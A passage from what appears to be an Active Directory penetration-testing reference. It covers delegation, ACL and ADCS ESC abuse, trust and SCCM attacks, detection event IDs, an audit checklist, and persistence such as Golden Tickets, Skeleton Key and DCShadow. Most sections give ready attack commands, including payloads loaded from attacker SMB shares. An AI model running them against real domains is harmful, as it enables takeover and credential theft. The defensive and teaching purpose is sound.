Why does this work? The msDS-AllowedToDelegateTo attribute tells the KDC which SPNs this account may request tickets for on behalf of other users. The SPN in the resulting ticket is *not encrypted*, so you can swap it to target a different service (e.g., change HTTP/ to CIFS/) after issuance.

DELEGATION PRIVESC

RBCD (Resource-Based Constrained Delegation)

msDS-AllowedToActOnBehalfOfOtherIdentity

The **most versatile** delegation attack. Write a controlled computer to target's RBCD attribute, then impersonate admin.

- **Prereq:** GenericWrite / GenericAll / WriteDACL on target computer object
- **Step 1:** `addcomputer.py` — create machine account (`MachineAccountQuota=10`)
- **Step 2:** `rbcd.py` — write RBCD attribute on target
- **Step 3:** `getST.py -spn cifs/target -impersonate Administrator`
- **Step 4:** Use ticket → `secretsdump / smbexec / wmiexec`
- **Chains with constrained deleg:** RBCD from new machine → constrained host for forwardable TGS

Why does this work? Unlike constrained delegation (configured on the DC), RBCD is configured on the *target* itself via msDS-AllowedToActOnBehalfOfOtherIdentity. Anyone who can write this attribute can authorize their own machine to impersonate users to the target. The KDC trusts this attribute because it's a legitimate AD feature for resource owners.

// ACL Abuse Paths

Access Control Entries are the building blocks of AD permissions. Each ACE type has specific exploitation techniques.

ACL

ForceChangePassword

User-Force-Change-Password extended right

- `net rpc password target -U attacker -S DC`
- **Warning:** Blocks the user — never use without authorization

Why does this work? The User-Force-Change-Password extended right lets you reset another user's password without knowing their current password. AD treats this as a legitimate admin function. Once you change their password, you authenticate as them.

ACL

GenericWrite

Write any non-protected attribute on the target

Three exploitation paths:

- **Shadow Creds:** Write msDS-KeyCredentialLink → certipy shadow auto → NT hash
- **Targeted Kerberoasting:** Set SPN → TGS → crack — targetedKerberoast.py
- **Profile Path:** Set profilePath to attacker → Responder capture NTLMv2

Why does this work? GenericWrite lets you modify non-protected attributes. Shadow Credentials works because Windows Hello for Business uses the msDS-KeyCredentialLink attribute for passwordless auth — writing your own key pair makes the KDC issue you a TGT. Setting an SPN makes the account Kerberoastable because any user can request a TGS for any SPN.

ACL

WriteDACL

Modify the DACL itself — grant yourself any permission

- dactedit.py -action write -rights FullControl -principal attacker -target victim
- Then exploit FullControl → DCSync / GenericAll

Why does this work? The DACL (Discretionary Access Control List) defines who can do what on an AD object. WriteDACL lets you edit these permissions — so you can grant yourself FullControl or DCSync rights. It's like being able to rewrite the lock on someone else's door.

ACL

WriteOwner / GenericAll

Take ownership → WriteDACL | Full control over object

- **WriteOwner:** owneredit.py change owner → then WriteDACL → FullControl
- **GenericAll on user:** Change password, set SPN, shadow creds
- **GenericAll on computer:** RBCD, read LAPS, shadow creds on machine
- **GenericAll on group:** AddMember — add yourself
- **GenericAll on domain:** DCSync (DS-Replication-Get-Changes-All)

ACL PERSIST

AdminSDHolder

CN=AdminSDHolder,CN=System • resets protected group ACLs every 60min

- Protected groups (Domain Admins, Enterprise Admins, etc.) have ACLs **reset every hour** by SDProp
- ACLs set directly on protected groups/users get wiped by SDProp
- **Persistence**: Modify AdminSDHolder ACL → propagates to all protected objects

ACL

GenericWrite → scriptPath Hijack

Write logon script path → code execution on next logon

- GenericWrite on a user allows setting scriptPath attribute
- Set scriptPath to attacker-controlled SMB share → script runs at next logon
- bloodyAD set object targetUser scriptPath -v '\\attacker\share\payload.bat'
- **OPSEC**: User sees the script execute — keep it fast and silent
- Script executes in user's context on their workstation

ACL

GenericWrite → profilePath Hijack

Redirect roaming profile to attacker → capture NTLMv2 hash

- Set profilePath to attacker-controlled UNC path
- On next logon, Windows authenticates via NTLM to load the profile
- Responder captures NTLMv2 hash — crack or relay
- **Passive**: Just wait for victim to logon — no coercion tool needed
- Can also set homeDirectory for similar effect

ACL

GenericAll on Computer → Silver Ticket

Full control on machine account → reset password → forge TGS

- **GenericAll** on a computer object allows resetting its password
- Reset machine\$ password → compute NT hash → forge Silver Ticket for any service
- net rpc password 'TARGET\$' -U attacker -S DC
- ticketer.py -nthash HASH -domain-sid SID -domain dom -spn cifs/target admin
- **Warning**: Machine password change may break AD trust — re-join may be needed

ACL

WriteDACL on OU → Inheritance (OU ned)

Modify OU permissions → inherit FullControl on all child objects

- WriteDACL on an OU lets you set ACEs that **inherit** to all child objects
- Grant yourself GenericAll with inheritance flag → control every user/computer in that OU
- `dacledit.py -action write -rights FullControl -inheritance -principal attacker -target 'OU=Servers'`
- **OU ned attack**: Targets GPO-linked OUs for mass compromise
- **Detection**: Event 5136 (directory modification) on OU objects

ACL DNS

DnsAdmins → DLL Injection on DC

DnsAdmins group can load arbitrary DLLs into DNS server process

- Members of **DnsAdmins** can configure `ServerLevelPluginDll` on the DNS server
- DNS service runs as **SYSTEM** on the DC — DLL = SYSTEM code exec on DC
- `dnscmd DC /config /serverlevelpluginDll \\attacker\share\payload.dll`
- Requires DNS service **restart** (sc stop/start dns, or wait for reboot)
- **OPSEC**: Very noisy — DNS outage if DLL crashes, logged in System event log

ACL

ReadLAPSPassword

Read ms-Mcs-AdmPwd or ms-LAPS-Password → local admin on target

- LAPS stores local admin passwords in AD attributes on computer objects
- **Legacy LAPS**: ms-Mcs-AdmPwd (cleartext password in AD)
- **Windows LAPS**: ms-LAPS-Password (encrypted, password + expiry)
- `1deep ldap -d dom -u user -p pass laps`
- `crackmapexec ldap DC -u user -p pass --laps`
- **Enum who can read**: Check ACLs on computer objects for ReadProperty on LAPS attributes

ACL

AddSelf (Self-Membership)

Add yourself to a group — direct self-enrollment into privileged groups

- The **Self** right (ADS_RIGHT_DS_SELF) on a group allows adding *yourself* as a member

- Different from AddMember — AddSelf only lets you add your own account, not arbitrary users
- `net rpc group addmem "Target Group" attacker -U attacker -S DC`
- `bloodyAD add groupMember "Target Group" attacker`
- **BloodHound edge:** AddSelf — often overlooked because it appears less powerful than AddMember
- **Impact:** If target group is Domain Admins, Enterprise Admins, or any nested privileged group → instant escalation
- **Detection:** Event 4728/4732/4756 (member added to security group)

ACL

AddMember

Add any user to a group — not just yourself

- **WriteProperty on the member attribute** of a group lets you add *any* principal
- More powerful than AddSelf — you can add controlled accounts, machine accounts, or other compromised users
- `bloodyAD add groupMember "Domain Admins" controlled_user`
- `net rpc group addmem "Domain Admins" controlled_user -U attacker -S DC`
- **Chain:** Compromise low-priv user with AddMember on nested group → add yourself → inherit transitive memberships
- **OPSEC:** Adding to Domain Admins is very loud — prefer adding to nested groups that grant equivalent access
- **Detection:** Event 4728/4732/4756 — monitor for additions to sensitive groups

ACL

AllExtendedRights

Grants ALL extended rights — ForceChangePassword + ReadLAPS + ReadGMSA + more

- **AllExtendedRights** is a superset that includes every extended right on the object
- **On a user:** ForceChangePassword (User-Force-Change-Password)
- **On a computer:** Read LAPS password (ms-Mcs-AdmPwd), read BitLocker recovery keys
- **On a gMSA:** Read msDS-ManagedPassword → extract NT hash
- **On the domain object:** Includes DS-Replication-Get-Changes — half of DCSync
- Often granted accidentally via delegation wizards or template permissions
- **BloodHound edge:** AllExtendedRights — check with: `dacledit.py -action read -target victim`
- **Mitigation:** Replace AllExtendedRights with specific extended rights needed

ACL

WriteProperty on Specific Attributes

Targeted write access to individual attributes — each enables different attacks

- **WriteProperty on msDS-AllowedToActOnBehalfOfOtherIdentity**: Set RBCD → S4U chain → admin access
- **WriteProperty on servicePrincipalName**: Targeted Kerberoasting — set SPN → request TGS → crack offline
- **WriteProperty on msDS-KeyCredentialLink**: Shadow Credentials → PKINIT → NT hash
- **WriteProperty on member (group)**: AddMember — add anyone to the group
- **WriteProperty on userAccountControl**: Disable pre-auth (AS-REP Roasting), disable account, change delegation flags
- **WriteProperty on dNSHostName**: Certifried (CVE-2022-26923) — request cert as another machine
- More granular than GenericWrite — BloodHound may show these as individual edges
- bloodyAD set object target attrName -v value

ACL

ReadGMSAPassword

Read msDS-ManagedPassword on gMSA → extract NT hash of service account

- gMSA accounts have auto-rotated 256-char passwords stored in msDS-ManagedPassword
- Only principals in msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) can read it
- If you compromise a principal in that list → dump the gMSA NT hash
- gMSADumper.py -u user -p pass -d domain
- bloodyAD get object 'gMSA\$' --attr msDS-ManagedPassword
- **Impact**: gMSAs often run critical services (SQL, IIS, scheduled tasks) with high privileges
- **Distinct from LAPS**: LAPS is local admin passwords on computers — gMSA is domain service account passwords

ACL

Owns (Object Ownership)

Owner of an AD object implicitly has WriteDACL — can grant yourself any permission

- Every AD object has an **owner** — the owner always has implicit **WriteDACL**

- This means ownership = ability to grant yourself FullControl, GenericAll, DCSync rights, etc.
- **Chain:** Owns object → WriteDACL → grant GenericAll → exploit (password reset / RBCD / Shadow Creds)
- bloodyAD get object target --attr nTSecurityDescriptor — check owner
- **WriteOwner** on an object lets you *change* the owner to yourself → then you have WriteDACL
- ownedit.py -action write -owner attacker -target victim
- **BloodHound edge:** Owns — often missed because it doesn't look like a direct attack path
- **OPSEC:** Changing ownership triggers Event 4662 — original owner may notice

ACL

WriteSPN (Targeted Kerberoasting)

Write servicePrincipalName → make any account Kerberoastable

- If you have **WriteProperty on servicePrincipalName**, you can set an SPN on any user account
- Any domain user can then request a TGS for that SPN — encrypted with the target's password hash
- **Step 1:** bloodyAD set object target servicePrincipalName -v 'MSSQLSvc/fake:1433'
- **Step 2:** GetUserSPNs.py -request -dc-ip DC domain/user:pass
- **Step 3:** Crack TGS hash offline with hashcat -m 13100 (RC4) or 19700 (AES)
- **Step 4:** Clean up — remove SPN to avoid detection
- targetedKerberoast.py automates the full flow (set SPN → request → remove SPN)
- **OPSEC:** Set and remove SPN quickly — long-lived fake SPNs are detectable

ACL

GPO Link / Write Abuse

Write access on GPO object → modify policy → code execution on all linked hosts

- If you have **GenericWrite / WriteDACL / GenericAll** on a Group Policy Object (GPO)
- Modify the GPO to push: scheduled tasks, startup scripts, registry keys, software installation
- SharpGPOAbuse --AddComputerTask --TaskName "Backdoor" --Author NT AUTHORITY\SYSTEM --Command cmd.exe --Arguments "/c net localgroup Administrators attacker /add" --GPOName "VulnGPO"
- pyGPOAbuse.py — Python alternative for Linux
- **Impact:** Every computer/user in the OU linked to the GPO gets the malicious policy

- **GpLink abuse:** If you can modify gPLink attribute on an OU, you can link your own GPO
- **Timing:** GPOs refresh every 90 minutes by default (or force with `gpupdate /force`)
- **Detection:** Event 5136 on GPO objects, monitor SYSVOL for unauthorized modifications

// ADCS Exploitation — ESC1 through ESC16

Active Directory Certificate Services provides the richest privilege escalation surface in modern AD. Every ESC explained individually.

ADCS

ESC1 — Misconfigured Template (SAN)

CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU + low-priv enroll

- Template allows user-supplied **Subject Alternative Name** (SAN)
- Request cert with `-upn administrator@domain` — CA blindly issues it
- `certipy req -ca CA -template VulnTemplate -upn administrator@domain`
- `certipy auth -pfx admin.pfx` → NT hash via PKINIT
- **Conditions:** ENROLLEE_SUPPLIES_SUBJECT flag + Client Auth EKU + low-priv enrollment rights
- **Mitigation:** Remove ENROLLEE_SUPPLIES_SUBJECT, require CA manager approval

Why does this work? The flag lets the requester specify any SAN. The CA trusts the template config and issues a cert with the attacker-supplied identity. PKINIT accepts this cert as valid authentication for that user.

ADCS

ESC2 — Any Purpose / SubCA EKU

Overly permissive EKU allows client authentication

- Template has **Any Purpose** (2.5.29.37.0) or **SubCA** EKU — both allow Client Authentication
- SubCA certificates can issue subordinate certificates (extremely dangerous)
- **Any Purpose:** The certificate can be used for *anything* including client auth, code signing, etc.
- `certipy req -ca CA -template VulnTemplate`
- **Difference from ESC1:** No SAN control needed — the EKU itself is the problem

- **Mitigation:** Replace Any Purpose with specific EKUs, never grant SubCA to low-priv users

ADCS

ESC3 — Enrollment Agent Abuse

Certificate Request Agent ECU → enroll on behalf of others

- **Step 1:** Enroll in template with **Certificate Request Agent** ECU (OID 1.3.6.1.4.1.311.20.2.1)
- **Step 2:** Use that cert to co-sign enrollment requests on behalf of other users
- Effectively enroll as any user in templates that require an enrollment agent
- `certipy req -ca CA -template EnrollAgent` → then use agent cert to request on behalf of DA
- **Two templates needed:** One with Request Agent ECU (you enroll) + one that accepts agent enrollment (target)
- **Mitigation:** Restrict enrollment agent templates, configure enrollment restrictions on CA

ADCS

ESC4 — Writable Template

Write access on template object → modify to ESC1

- If you have **WriteProperty** / **WriteDACL** / **WriteOwner** on a certificate template AD object
- Modify the template to enable ENROLLEE_SUPPLIES_SUBJECT + Client Auth ECU → becomes ESC1
- `certipy template -u user -p pass -template VulnTemplate -save-old -alt-name administrator`
- After exploitation, restore template: `certipy template -u user -p pass -template VulnTemplate -configuration old.json`
- **Detection:** Event 5136 modifying certificate template objects in AD
- **Mitigation:** Audit and restrict write access on all certificate template objects

ADCS

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

CA-level flag allows SAN in ANY template

- CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled on the CA itself
- Allows SAN override on **any template** regardless of template settings

- Effectively turns every template into ESC1
- `certipy req -ca CA -template User -upn administrator@domain`
- **Largely patched:** May 2022 patch requires ManageCA rights to exploit — but still found unpatched
- **Mitigation:** Remove `EDITF_ATTRIBUTESUBJECTALTNAME2` flag from CA config

ADCS

ESC7 — ManageCA / ManageCerts Permissions

CA admin permissions = approve any certificate request

- **ManageCA:** Can modify CA configuration, enable EDITF flag (ESC6), add officer permissions
- **ManageCerts (Officer):** Can approve pending certificate requests
- **Chain:** ManageCA → add yourself as officer → submit request for admin cert → approve it yourself
- `certipy ca -ca CA -add-officer attacker` — then: `certipy ca -ca CA -issue-request ID`
- With SubCA template: request SubCA cert → approve → now you can issue *any* certificate
- **Mitigation:** Restrict ManageCA/ManageCerts to dedicated PKI admins only

ADCS

ESC8 — NTLM Relay to Web Enrollment

HTTP enrollment endpoint + coercion = relay

- ADCS web enrollment (`/certsrv/`) uses **HTTP with NTLM auth** — no signing
- Coerce DC → relay NTLM to CA web enrollment → enroll as DC
- `ntlmrelayx --target http://ca/certsrv/ --adcs --template DomainController`
- Get cert as DC → PKINIT → DCSync → all domain hashes
- **Coercion:** PetitPotam, PrinterBug, DFSCoerce — any method that forces DC auth to attacker
- **Mitigation:** Enable EPA on enrollment endpoints, use HTTPS, disable HTTP enrollment

Why does this work? HTTP has no signing mechanism. The CA accepts relayed NTLM auth as legitimate and issues a certificate to whoever authenticated — including a DC whose auth was relayed.

ADCS

ESC9 — No Security Extension (Template)

CT_FLAG_NO_SECURITY_EXTENSION on template

- Template has CT_FLAG_NO_SECURITY_EXTENSION flag — cert does not embed the requester's SID
- Without the security extension, certificate-to-user mapping relies on **UPN/DNS name only**
- **Attack:** If you can modify another user's UPN (GenericWrite) → change UPN to target → request cert → restore UPN → authenticate as target
- The cert maps to whoever has that UPN at authentication time
- **Requires:** GenericWrite on target user + template without security extension
- **Mitigation:** Ensure templates include the security extension (szOID_NTDS_CA_SECURITY_EXT)

ADCS

ESC10 — Weak Certificate Mapping

Registry controls how certificates map to accounts

- Two registry values control cert mapping strength:
- StrongCertificateBindingEnforcement = 0 on DC — weak mapping accepted
- CertificateMappingMethods contains 0x4 (UPN mapping) — allows impersonation via UPN
- **Attack (Case 1):** GenericWrite on user → change UPN → request cert → auth as that user
- **Attack (Case 2):** GenericWrite on computer → change dNSHostName → request machine cert → auth as that machine
- **Mitigation:** Set StrongCertificateBindingEnforcement = 2, remove weak mapping methods

ADCS

ESC11 — NTLM Relay to RPC Enrollment

Like ESC8 but via RPC (ICPR) instead of HTTP

- CA exposes enrollment via **RPC (MS-ICPR)** in addition to HTTP
- If IF_ENFORCEENCRYPTICERTREQUEST = 0 — RPC enrollment accepts unencrypted NTLM
- Coerce + relay to RPC enrollment endpoint — same result as ESC8
- certipy relay -ca CA -template DomainController
- **Difference from ESC8:** Targets RPC interface, not HTTP — relevant when HTTP enrollment is disabled

- **Mitigation:** Set IF_ENFORCEENCRYPTICERTREQUEST = 1, require encryption for RPC enrollment

ADCS

ESC13 — Issuance Policy → Group

OID linked to AD group via issuance policy

- An **issuance policy OID** can be linked to an AD group via msDS-0IDToGroupLink
- When a cert with that policy is used for auth, the user is **added to the linked group** for that session
- If the linked group is privileged (e.g., Domain Admins) → instant privilege escalation
- **Requirements:** Enrollment rights on template with the linked issuance policy
- certipy req -ca CA -template PolicyTemplate → auth with cert → gain group membership
- **Mitigation:** Audit msDS-0IDToGroupLink attributes, restrict enrollment on policy-linked templates

ADCS

ESC14 — Explicit Certificate Mapping

altSecurityIdentities misconfiguration

- Certificate-to-account mapping stored in altSecurityIdentities attribute on user objects
- If attacker can **modify altSecurityIdentities** on target → map their own cert to that account
- Also abusable via weak mapping formats (Issuer+SerialNumber instead of SKI+SHA1)
- **Attack:** Request any cert → write its mapping to target's altSecurityIdentities → auth as target
- **Requires:** Write access on target's altSecurityIdentities attribute
- **Mitigation:** Restrict write access on altSecurityIdentities, use strong mapping formats

ADCS NEW

ESC15 (EKUwu) — Schema v1 App Policy

CVE-2024-49019 • Oct 2024 by TrustedSec

Exploits **Schema Version 1 templates** where AD CS fails to validate Application Policy OIDs.

- Schema v1 templates (e.g. WebServer) don't validate Application Policy field
- Inject --application-policies "1.3.6.1.5.5.7.3.2" (Client Auth) into request

- App Policy **overrides template ECU** — turns WebServer cert into Client Auth
- `certipy req --application-policies "Client Authentication" -template WebServer -upn admin`
- **Mitigation:** Duplicate v1 templates as v2, remove unused v1 templates

Why does this work? Schema v1 templates predate Application Policy validation. AD CS does not validate the OID field — attackers inject Client Auth ECU into templates that only allow Server Auth. The injected policy overrides the template's intended ECU.

ADCS

ESC16 — No Security Extension (CA-wide)

Like ESC9 but enforced at the CA level

- CA is configured to **not include the security extension** in issued certificates (CA-wide setting)
- Same impact as ESC9 but affects **all templates** on that CA, not just one
- Certificates lack SID embedding → rely on UPN/DNS name mapping only
- **Attack:** Same as ESC9 — modify target UPN via GenericWrite → request cert → restore → auth
- **Broader scope:** Every template on this CA is vulnerable, not just flagged ones
- **Mitigation:** Enable security extension at CA level, ensure SID is embedded in all certs

// Trust Escalation • SCCM Attacks • ADIDNS Poisoning

TRUST

Child → Parent (3 methods)

Domain trust is NOT a security boundary

- **raiseChild.py:** One command — auto golden + ExtraSID -519
- **Manual Golden + ExtraSID:** Dump krbtgt → get SIDs → ticketer -extra-sid PARENT-519
- **Trust Ticket:** Extract trust key (PARENTDOMAIN\$) → forge inter-realm TGT → works after krbtgt rotation
- **Unconstrained Deleg:** Coerce parent DC to child deleg host → steal TGT

TRUST

Forest → Forest Lateral

Cross-forest exploitation

- **Password reuse:** Dump NTDS → spray hashes on external forest
- **Foreign groups:** Users from Forest A in Forest B groups
- **SID History:** If TREAT_AS_EXTERNAL — SID history attacks work across forests

SCCM

SCCM Attack Matrix

CRED • ELEVATE • EXEC • TAKEOVER

- **CRED:** NAA creds, task sequence secrets, PXE boot, collection variables
- **ELEVATE:** Client push coercion → relay | Site server NTLM relay
- **EXEC:** Deploy apps / run scripts on managed endpoints
- **TAKEOVER:** Relay to SMS Provider / MSSQL → full SCCM control
- **Tools:** sccmhunter • SharpSCCM • SCCMSecrets.py • pxethief • SCCMDecryptor-BOF
- **SCCMDecryptor-BOF:** BOF to decrypt NAA creds, task sequences, and collection variables from WMI on managed endpoints

ADIDNS

ADIDNS Time Bombs & Poisoning

Any domain user can create DNS records by default

- **Time Bombs:** Pre-register predictable future hostnames → MITM on domain join
- Records stored as dnsNode objects — grouped by name, persist indefinitely
- **Record Injection:** dnstool.py add wildcard → catch unresolved names
- Combine with Responder / ntlmrelayx for capture and relay
- Target pre-created machine accounts without A records

// Key Attributes & Tool Arsenal

Critical AD Attributes for Pentesters

userAccountControl	TRUSTED_FOR_DELEGATION
userAccountControl	TRUSTED_TO_AUTH_FOR_DELEG
msDS-AllowedToDelegateTo	SPN list
msDS-AllowedToActOnBehalfOfOtherIdentity	binary SD
msDS-KeyCredentialLink	binary blob
ms-Mcs-AdmPwd	cleartext password
servicePrincipalName	SPN list
userAccountControl	DONT_REQ_PREAUTH
msPKI-Certificate-Name-Flag	CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

msPKI-Template-Schema-Version	1
altSecurityIdentities	certificate mapping
trustAttributes	FOREST_TRANSITIVE
trustAttributes	TREAT_AS_EXTERNAL
sIDHistory	foreign SID list

Essential Tool Arsenal

ENUMERATION

- |— BloodHound + SharpHound / bloodhound-python
- |— CrackMapExec / netexec
- |— certipy find
- |— sccmhunter
- |— ldeep / findDelegation.py
- |— ShadowHound
- |— SilentHound
- |— BOFHound
- |— Adalanche
- |— RustHound-CE
- |— Neo4LDAP
- |— BloodHoundViewer

EXPLOITATION

- |— impacket suite
- |— certipy
- |— Rubeus
- |— Coercer / PetitPotam
- |— dacledit.py / owneredit.py
- |— rbcd.py / addcomputer.py
- |— targetedKerberoast.py
- |— SharpSCCM / SCCMSecrets.py
- |— DonPAPI / dploot
- |— pre2k

POST-EXPLOITATION & LATERAL MOVEMENT

- |— secretsdump.py
- |— ticketer.py
- |— psexec / wmiexec / smbexec / atexec
- |— SCSHELL
- |— Mimikatz
- |— LaZagne / goLazagne
- |— incognito / elevate_pid_bof
- |— SweetPotato / PrintSpoofer / GodPotato

BloodHound Key Cypher Queries

```
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516'
WITH COLLECT(c1.name) AS dcs
MATCH (c2 {unconstraineddelegation:true}) WHERE NOT c2.name IN dcs RETURN c2
```

```
MATCH p=(u)-[:AllowedToDelegate]->(c) RETURN p
```

```
MATCH p=(u)-[r1]->(n) WHERE r1.isacl=true AND u.admincount=false RETURN p
```

```
MATCH p=(n:Domain)-->(m:Domain) RETURN p
```

```
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN  
ADMINS@DOMAIN.LOCAL"}))  
RETURN p
```

// Detection / Blue Team Indicators

Key Windows Event IDs and detection strategies for the attacks described above.
Essential for purple team exercises.

Critical Event IDs for AD Attack Detection

EVENT ID	SOURCE	WHAT IT DETECTS
ATTACK		
4768	Security	TGT requested (AS-REQ)
4769	Security	TGS requested
4771	Security	Kerberos pre-auth failed
4625	Security	Logon failure
4662	Security	Operation on AD object
4624	Security	Successful logon (Type 3/10)
5136	Security	Directory service object modified
5137	Security	Directory service object created
4742	Security	Computer account changed
4887	Security	Certificate requested
4886	Security	Certificate issued
1102	Security	Audit log cleared
7045	System	New service installed
4104	PowerShell	Script block logging
10	Sysmon	Process access (LSASS)

DETECTION

Kerberos Attack Detection

Roasting, ticket forgery, delegation abuse

- **Kerberoasting:** Event 4769 with Ticket Encryption Type = 0x17 (RC4) for service accounts

- **AS-REP Roasting:** Event 4768 with Pre-Auth Type = 0 (no pre-auth) — monitor DONT_REQ_PREAUTH accounts
- **Golden Ticket:** TGT with unusual lifetime, logon events with no corresponding 4768
- **Silver Ticket:** Service access with no corresponding 4769 on DC — hardest to detect
- **DCSync:** Event 4662 with DS-Replication-Get-Changes-All from non-DC source
- **Diamond Ticket:** Legitimate 4768 but modified PAC — requires PAC inspection

DETECTION

Lateral Movement Detection

PtH, remote exec, relay

- **Pass-the-Hash:** Type 3 logon (4624) with NtLmSsp as auth package — especially from unusual sources
- **PsExec:** Event 7045 (service install) + named pipe creation on target
- **WMIExec:** WMI activity from unexpected hosts — process creation under `wmiprvse.exe`
- **NTLM Relay:** Authentication from IP that did not initiate the connection — source/dest mismatch
- **RDP:** Type 10 logon from unusual internal sources
- **Honey tokens:** Create decoy accounts with SPNs, DONT_REQ_PREAUTH, or high-value group memberships

DETECTION

Privilege Escalation Detection

ACL changes, GPO abuse, ADCS

- **ACL modification:** Event 5136 on sensitive objects (AdminSDHolder, Domain Admins, DCs)
- **RBCD setup:** Event 4742 / 5136 modifying `msDS-AllowedToActOnBehalfOfOtherIdentity`
- **Shadow Credentials:** Event 5136 modifying `msDS-KeyCredentialLink`
- **GPO abuse:** Event 5136 on GPO objects + SYSVOL file modifications
- **ADCS ESC1:** Event 4887 with SAN different from requesting user
- **Machine account creation:** Event 5137 for computer objects from non-admin users

// Common Misconfigurations Checklist

The most frequently exploited AD misconfigurations found in real engagements. Use this as an audit checklist.

AD Security Audit Checklist

CATEGORY / IMPACT	MISCONFIGURATION	RISK
KERBEROS		
— DONT_REQ_PREAUTH enabled on accounts crack		AS-REP Roasting → offline
— SPNs on user accounts (not machine accounts) crack		Kerberoasting → offline
— krbtgt password never rotated persistence		Golden Ticket
— Unconstrained delegation on non-DC servers		TGT theft via coercion
— RC4 encryption still enabled (etype 23)		Faster hash cracking
NTLM		
— SMB signing not required on all hosts		NTLM relay attacks
— LDAP signing not required		NTLM relay to LDAP
— LDAP channel binding not required		NTLM relay to LDAPS
— NTLMv1 allowed (LMCompatibilityLevel < 3)		Trivial hash cracking
— Extended Protection for Auth disabled endpoints		Relay to HTTPS/LDAPS
ADCS		
— Templates with ENROLLEE_SUPPLIES_SUBJECT (ESC1) → DA		Request cert as any user
— HTTP enrollment endpoint without EPA (ESC8) cert		Coerce + relay → DC
— Schema v1 templates still active (ESC15) DA		App Policy injection →
— Low-priv users with ManageCA / ManageCerts (ESC7) requests		Approve pending cert
— Write access on certificate templates (ESC4)		Modify template to ESC1
ACL / PERMISSIONS		
— GenericAll / WriteDACL on sensitive objects / DA		Full control → DCSync
— Non-admin users with DCSync rights		Dump all domain hashes
— MachineAccountQuota > 0 (default = 10) for RBCD		Create machine accounts
— Pre-Windows 2000 Compatible Access group enumeration + predictable machine passwords		Anonymous LDAP
— AdminSDHolder ACL not monitored access		Persistent privileged
CREDENTIAL HYGIENE		
— No LAPS deployed (same local admin everywhere) local admin		Lateral movement via
— Service accounts with weak passwords service access		Kerberoast + crack =

└─ Privileged accounts logging into workstations LSASS	Credential theft from
└─ WDigest enabled (UseLogonCredential = 1) LSASS	Plaintext passwords in
└─ GPP passwords in SYSVOL (MS14-025) cleartext	Public decryption key =
└─ Password reuse between admin tiers Tier 1/2	Tier 0 compromise from
NETWORK / SERVICES	
└─ Print Spooler running on DCs	PrinterBug coercion
└─ LLMNR / NBT-NS / mDNS enabled poisoning	Credential capture via
└─ IPv6 enabled without DHCPv6 security	mitm6 DNS takeover
└─ Authenticated users can create DNS records bombs	ADIDNS poisoning / time
└─ Default SCCM Network Access Account with domain creds extraction	NAA credential

// Persistence Deep Dive

Once you have Domain Admin, how do you maintain access? These techniques survive password resets, ticket rotations, and even some remediation efforts.

PERSIST

Golden Ticket

Forged TGT using krbtgt hash • survives password resets

- Forge a TGT with **arbitrary PAC** (any user, any groups including DA/EA)
- `ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator`
- **Lifetime**: Valid until krbtgt password is rotated **twice** (AD keeps current + previous key)
- **Detection**: TGT with no corresponding AS-REQ (Event 4768) on DC
- **Remediation**: Reset krbtgt password twice (with delay between resets)

PERSIST

Diamond & Sapphire Tickets

Stealthier alternatives to Golden Ticket

- **Diamond Ticket**: Request a *legitimate* TGT, then decrypt it with krbtgt hash and modify the PAC — has valid AS-REQ on DC
- `ticketer.py -request -impersonate Administrator -domain corp.local -user normaluser -password pass -nthash KRBTGT_HASH`

- **Sapphire Ticket:** Same as Diamond but uses **S4U2Self + U2U** to get a real PAC for the target user, then injects it into the modified TGT
- **Why stealthier:** Diamond/Sapphire have legitimate 4768 events and real PAC data — harder for SOC to distinguish from normal auth
- **Still requires:** krbtgt hash (DCSync or NTDS.dit dump)

PERSIST

Golden Certificate

Forge certificates using stolen CA private key

- Backup CA private key: `certipy ca -backup` — exports CA cert + private key
- Forge certificate for any user: `certipy forge -ca-pfx ca.pfx -upn administrator@corp.local -subject "CN=Admin"`
- **Lifetime:** Valid until CA cert expires (typically 5-20 years) or CA is rebuilt
- **Survives:** Password resets, krbtgt rotations, account disabling
- **Remediation:** Revoke CA certificate, rebuild entire PKI infrastructure — extremely painful

PERSIST

Skeleton Key

Patch LSASS on DC to accept master password

- Injects a backdoor into LSASS that accepts a **master password** for any account
- Mimikatz: `misc::skeleton` — default master password: "mimikatz"
- Original passwords continue to work — users don't notice anything
- **Limitation:** Only in-memory — lost on DC reboot
- **Limitation:** Must be injected on every DC individually
- **Detection:** Monitor for LSASS memory modifications, Sysmon Event 10

PERSIST

DCShadow

Register rogue DC to push changes via replication

- Temporarily registers attacker machine as a **Domain Controller**
- Pushes arbitrary AD modifications via **legitimate replication** (DRS protocol)
- **Use cases:** Modify ACLs, add SPNs, change group memberships, set SID History — all without standard audit logs
- Mimikatz: `lsadump::dcshadow /object:user /attribute:SIDHistory /value:S-1-5-21-...-519`

- **Detection:** New nTDSDSA objects in Configuration partition, unusual replication partners
- **Requires:** DA/SYSTEM privileges on a domain-joined machine

PERSIST

DSRM Backdoor

Directory Services Restore Mode • local admin backdoor on DC

- Every DC has a local **DSRM Administrator** account with its own password (set during dcpromo)
- By default, DSRM account only works when booting into restore mode
- **Persistence:** Set registry key `DsrmAdminLogonBehavior = 2` → allows DSRM logon over network
- Then use DSRM hash for Pass-the-Hash to DC — independent of domain admin passwords
- Extract DSRM hash: `Mimikatz lsadump::sam` on DC (local SAM)
- **Survives:** Domain admin password resets, krbtgt rotation

PERSIST

Custom SSP / SID History

Security Support Provider injection & SID-based persistence

- **Custom SSP:** Register a malicious DLL as a Security Support Provider — captures all plaintext passwords at logon
- `Mimikatz: misc::memssp` — injects into LSASS, logs creds to `C:\Windows\System32\mimilsa.log`
- **Persistent SSP:** Add to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`
- **SID History:** Add Enterprise Admin SID (S-1-5-21-...-519) to a normal user's `sidHistory` attribute
- User appears normal but carries EA privileges in every Kerberos ticket
- **Detection:** Monitor `sidHistory` changes (Event 4765), audit LSA registry keys

PERSIST

AdminSDHolder & GPO Backdoors

Self-repairing persistence via AD mechanisms

